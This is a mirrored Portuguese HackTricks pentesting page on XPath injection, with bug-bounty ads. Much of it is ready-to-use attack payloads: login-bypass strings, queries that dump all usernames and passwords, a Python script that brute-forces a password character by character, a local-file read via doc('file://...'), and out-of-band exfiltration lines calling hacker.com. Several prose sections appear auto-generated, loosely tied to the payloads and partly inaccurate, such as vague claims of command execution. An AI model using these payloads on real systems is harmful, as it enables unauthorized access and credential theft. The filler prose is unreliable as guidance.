Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xpath-injection.md

31 KiB
Raw Blame History

Injeção de XPATH

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

Sintaxe Básica

A injeção de XPATH é uma técnica de ataque usada para explorar aplicativos que constroem consultas XPath (XML Path Language) a partir de entradas fornecidas pelo usuário para consultar ou navegar em documentos XML.

Informações sobre como fazer consultas: https://www.w3schools.com/xml/xpath_syntax.asp

Nós

Expressão Descrição
nodename Seleciona todos os nós com o nome "nodename"
/ Seleciona a partir do nó raiz
// Seleciona nós no documento a partir do nó atual que correspondem à seleção, não importa onde estejam
. Seleciona o nó atual
.. Seleciona o pai do nó atual
@ Seleciona atributos

Exemplos:

Expressão de Caminho Resultado
bookstore Seleciona todos os nós com o nome "bookstore"
/bookstore Seleciona o elemento raiz bookstoreObservação: Se o caminho começar com uma barra ( / ), ele sempre representa um caminho absoluto para um elemento!
bookstore/book Seleciona todos os elementos book que são filhos de bookstore
//book Seleciona todos os elementos book não importa onde eles estejam no documento
bookstore//book Seleciona todos os elementos book que são descendentes do elemento bookstore, não importa onde eles estejam sob o elemento bookstore
//@lang Seleciona todos os atributos com o nome lang

Predicados

Expressão de Caminho Resultado
/bookstore/book[1]

Seleciona o primeiro elemento book que é filho do elemento bookstore.Observação: No IE 5,6,7,8,9 o primeiro nó é[0], mas de acordo com a W3C, é [1]. Para resolver esse problema no IE, defina a SelectionLanguage como XPath:

Em JavaScript: xml.setProperty("SelectionLanguage","XPath");
/bookstore/book[last()] Seleciona o último elemento book que é filho do elemento bookstore
/bookstore/book[last()-1] Seleciona o penúltimo elemento book que é filho do elemento bookstore
/bookstore/book[position()<3] Seleciona os dois primeiros elementos book que são filhos do elemento bookstore
//title[@lang] Seleciona todos os elementos title que possuem um atributo chamado lang
//title[@lang='en'] Seleciona todos os elementos title que possuem um atributo "lang" com um valor de "en"
/bookstore/book[price>35.00] Seleciona todos os elementos book do elemento bookstore que possuem um elemento price com um valor maior que 35.00
/bookstore/book[price>35.00]/title Seleciona todos os elementos title dos elementos book do elemento bookstore que possuem um elemento price com um valor maior que 35.00

Nós Desconhecidos

Coringa Descrição
* Corresponde a qualquer nó de elemento
@* Corresponde a qualquer nó de atributo
node() Corresponde a qualquer nó de qualquer tipo

Exemplos:

Expressão de Caminho Resultado
/livraria/* Seleciona todos os nós de elementos filhos do elemento livraria
//* Seleciona todos os elementos no documento
//titulo[@*] Seleciona todos os elementos de título que possuem pelo menos um atributo de qualquer tipo

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se uma lenda hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

Exemplo

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Acessar as informações

XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the query and gain unauthorized access to sensitive information.

To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML data.

Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional data that was not intended to be exposed.

For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:

//users/user[name='John']

By injecting a malicious expression like ' or 1=1 or ''=', the attacker can modify the query to retrieve all user information:

//users/user[name='John' or 1=1 or ''='']

This modified query will return all user information, regardless of the name specified in the search form.

To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.

Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it harder for attackers to manipulate the query.

By understanding and implementing these security measures, web applications can protect against XPath Injection attacks and ensure the confidentiality of sensitive information.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identificar e roubar o esquema

XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By manipulating the input parameters of the XPath query, an attacker can modify the query to retrieve sensitive information or perform unauthorized actions.

To identify and steal the schema using XPath Injection, follow these steps:

  1. Identify the vulnerable parameter: Look for input fields or parameters in the web application that are used in XPath queries. These parameters are usually found in the URL, form inputs, or cookies.

  2. Determine the structure of the XPath query: Analyze the XPath query structure used by the application to retrieve data. This will help you understand how the query is constructed and how to manipulate it.

  3. Inject malicious XPath code: Craft a payload that includes malicious XPath code to modify the query and retrieve the schema. For example, you can use the union operator to combine the original query with a query that retrieves the schema.

  4. Observe the application's response: Submit the payload and observe the application's response. If the response includes the schema or any other sensitive information, it means the injection was successful.

  5. Extract the stolen schema: Extract the stolen schema from the application's response. This can be done by parsing the response and extracting the relevant information.

By following these steps, you can identify and steal the schema using XPath Injection. It is important to note that XPath Injection can have serious consequences, as it can lead to unauthorized access to sensitive data or even compromise the entire application. Therefore, it is crucial to perform these techniques only in a controlled and authorized environment, such as during a penetration test.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Bypass de Autenticação

Exemplo de consultas:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Bypassando OR em usuário e senha (mesmo valor em ambos)

Quando um aplicativo web utiliza a técnica de XPath para consultar um banco de dados XML, é possível explorar uma vulnerabilidade conhecida como injeção de XPath. Essa vulnerabilidade ocorre quando um invasor consegue inserir código malicioso na consulta XPath, permitindo que ele manipule a lógica da consulta e obtenha acesso não autorizado a informações sensíveis.

Uma técnica comum de injeção de XPath é a utilização do operador OR para contornar a verificação de usuário e senha. Normalmente, a consulta XPath para autenticação de usuário e senha seria algo como:

/users/user[username='admin' and password='password']

No entanto, um invasor pode explorar a vulnerabilidade de injeção de XPath inserindo um valor que seja verdadeiro para ambos usuário e senha, como:

/users/user[username='admin' or '1'='1' and password='password' or '1'='1']

Nesse caso, a consulta XPath se torna verdadeira, pois a expressão '1'='1' sempre será verdadeira. Isso permite que o invasor acesse a conta de administrador sem a necessidade de fornecer um nome de usuário ou senha válidos.

Para evitar a injeção de XPath, é importante validar e sanitizar corretamente todas as entradas do usuário antes de utilizá-las em consultas XPath. Além disso, é recomendado utilizar técnicas de autenticação mais seguras, como a autenticação de dois fatores, para reduzir o impacto de uma possível exploração dessa vulnerabilidade.

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Explorando a injeção de nulo

A injeção de nulo é uma técnica comum usada para explorar vulnerabilidades em aplicativos da web que usam consultas XPath. Essa técnica envolve a manipulação de parâmetros de entrada para inserir uma sequência de caracteres nula na consulta XPath, o que pode levar a resultados inesperados ou até mesmo à execução de comandos maliciosos.

Identificando uma vulnerabilidade de injeção de nulo

Para identificar uma vulnerabilidade de injeção de nulo, você precisa encontrar um ponto de entrada onde os dados do usuário são usados em uma consulta XPath. Isso geralmente ocorre em campos de pesquisa ou filtros de dados.

Uma vez identificado o ponto de entrada, você pode começar a testar a vulnerabilidade inserindo uma sequência de caracteres nula na entrada. Se a aplicação responder de maneira inesperada ou retornar resultados diferentes, é provável que haja uma vulnerabilidade de injeção de nulo.

Explorando a vulnerabilidade de injeção de nulo

Uma vez que você tenha identificado uma vulnerabilidade de injeção de nulo, pode começar a explorá-la para obter informações sensíveis ou executar comandos maliciosos.

Uma técnica comum é usar a função substring() para extrair partes específicas do resultado da consulta XPath. Por exemplo, você pode usar substring(//user/password/text(), 1, 1) para extrair o primeiro caractere da senha do usuário.

Outra técnica é usar a função count() para determinar o número de resultados retornados pela consulta XPath. Isso pode ser útil para explorar a estrutura do banco de dados subjacente.

Prevenção de injeção de nulo

Para prevenir a injeção de nulo, é importante validar e sanitizar todas as entradas do usuário antes de usá-las em consultas XPath. Isso pode ser feito através da implementação de filtros de entrada e do uso de funções de escape adequadas.

Além disso, é recomendável manter todos os softwares e bibliotecas atualizados para evitar a exploração de vulnerabilidades conhecidas.

Conclusão

A injeção de nulo é uma técnica perigosa que pode ser usada para explorar vulnerabilidades em aplicativos da web que usam consultas XPath. Ao entender como essa técnica funciona e implementar medidas de prevenção adequadas, você pode proteger seus aplicativos contra ataques de injeção de nulo.

Username: ' or 1]%00

Duplo OU no nome de usuário ou na senha (é válido com apenas 1 campo vulnerável)

IMPORTANTE: Observe que a "e" é a primeira operação realizada.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extração de strings

A saída contém strings e o usuário pode manipular os valores para realizar buscas:

/user/username[contains(., '+VALUE+')]

') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Exploração Cega

Obter o comprimento de um valor e extraí-lo por comparações:

A injeção de XPath cega é uma técnica usada para explorar vulnerabilidades de injeção de XPath em um aplicativo da web. Com essa técnica, é possível obter o comprimento de um valor e extraí-lo por meio de comparações.

Para obter o comprimento de um valor, você pode usar a função string-length(). Por exemplo, a expressão XPath string-length(/user/name) retornará o comprimento do valor do elemento <name> dentro do elemento <user>.

Para extrair o valor por meio de comparações, você pode usar operadores de comparação, como =, >, <, >= e <=. Por exemplo, a expressão XPath /user[name='admin'] retornará todos os elementos <user> que possuem um elemento <name> com o valor "admin".

Usando essas técnicas em conjunto, você pode realizar uma injeção de XPath cega para obter informações sensíveis do aplicativo da web alvo.

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Exemplo em Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Ler arquivo

A injeção de XPath é uma técnica de ataque que permite que um invasor leia arquivos arbitrários no servidor. Essa técnica é possível quando um aplicativo web usa consultas XPath para extrair dados de um documento XML.

Como funciona a injeção de XPath?

A injeção de XPath ocorre quando um invasor manipula os parâmetros de entrada do aplicativo web para inserir uma expressão XPath maliciosa. Essa expressão é então avaliada pelo servidor, permitindo que o invasor leia arquivos do sistema.

Exemplo de injeção de XPath

Considere o seguinte código de exemplo:

import lxml.etree as ET

def get_user_data(username):
    query = f"//users/user[username/text()='{username}']"
    result = ET.parse('users.xml').xpath(query)
    return result

Neste exemplo, a função get_user_data recebe um nome de usuário como parâmetro e consulta um arquivo XML chamado users.xml usando XPath. No entanto, o código não valida ou sanitiza o parâmetro username, o que torna vulnerável a ataques de injeção de XPath.

Um invasor mal-intencionado pode explorar essa vulnerabilidade fornecendo um valor de entrada manipulado, como ' or 1=1 or username/text()='admin' or 'a'='a para o parâmetro username. Isso fará com que a expressão XPath se torne verdadeira e retorne todos os dados do usuário, incluindo informações confidenciais.

Prevenção de injeção de XPath

Para prevenir a injeção de XPath, é importante validar e sanitizar todas as entradas do usuário antes de usá-las em consultas XPath. Isso pode ser feito por meio de técnicas como a utilização de consultas parametrizadas ou a remoção de caracteres especiais das entradas.

Além disso, é recomendável restringir as permissões de acesso aos arquivos do sistema, garantindo que o aplicativo web tenha apenas as permissões necessárias para ler os arquivos relevantes.

Conclusão

A injeção de XPath é uma vulnerabilidade comum em aplicativos web que usam consultas XPath para extrair dados de documentos XML. Ao validar e sanitizar as entradas do usuário e restringir as permissões de acesso aos arquivos do sistema, é possível prevenir com eficácia esse tipo de ataque.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Exploração OOB

Out-of-Band (OOB) é uma técnica de exploração usada em ataques de injeção XPath. Nesse tipo de ataque, o invasor injeta código malicioso em uma aplicação web que utiliza XPath para consultar um banco de dados XML. A injeção XPath ocorre quando o invasor manipula os parâmetros de entrada da consulta XPath para obter informações sensíveis ou executar comandos indesejados.

A exploração OOB é uma variação da injeção XPath que permite ao invasor extrair dados do servidor web por meio de solicitações HTTP externas. Isso é possível porque o servidor web pode ser configurado para fazer solicitações externas para recuperar dados de um recurso remoto, como um servidor DNS ou um servidor de arquivos.

Para explorar essa vulnerabilidade, o invasor injeta código XPath malicioso que faz com que o servidor web envie solicitações HTTP para um servidor controlado pelo invasor. O servidor controlado pelo invasor registra as solicitações recebidas e, assim, o invasor pode extrair informações sensíveis do servidor web.

A exploração OOB pode ser realizada de várias maneiras, como:

  • Injeção de código XPath malicioso que faz com que o servidor web envie solicitações DNS para um servidor controlado pelo invasor. O invasor pode registrar as solicitações DNS recebidas para obter informações sensíveis.
  • Injeção de código XPath malicioso que faz com que o servidor web envie solicitações HTTP para um servidor controlado pelo invasor. O invasor pode registrar as solicitações HTTP recebidas para obter informações sensíveis.
  • Injeção de código XPath malicioso que faz com que o servidor web envie solicitações de arquivo para um servidor controlado pelo invasor. O invasor pode registrar as solicitações de arquivo recebidas para obter informações sensíveis.

A exploração OOB é uma técnica avançada de injeção XPath que pode ser usada para obter informações sensíveis de um servidor web. É importante que os desenvolvedores de aplicativos web estejam cientes dessa vulnerabilidade e implementem medidas de segurança adequadas para proteger suas aplicações contra ataques de injeção XPath.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Ferramenta automática

{% embed url="https://xcat.readthedocs.io/" %}

Referências

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se uma lenda hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥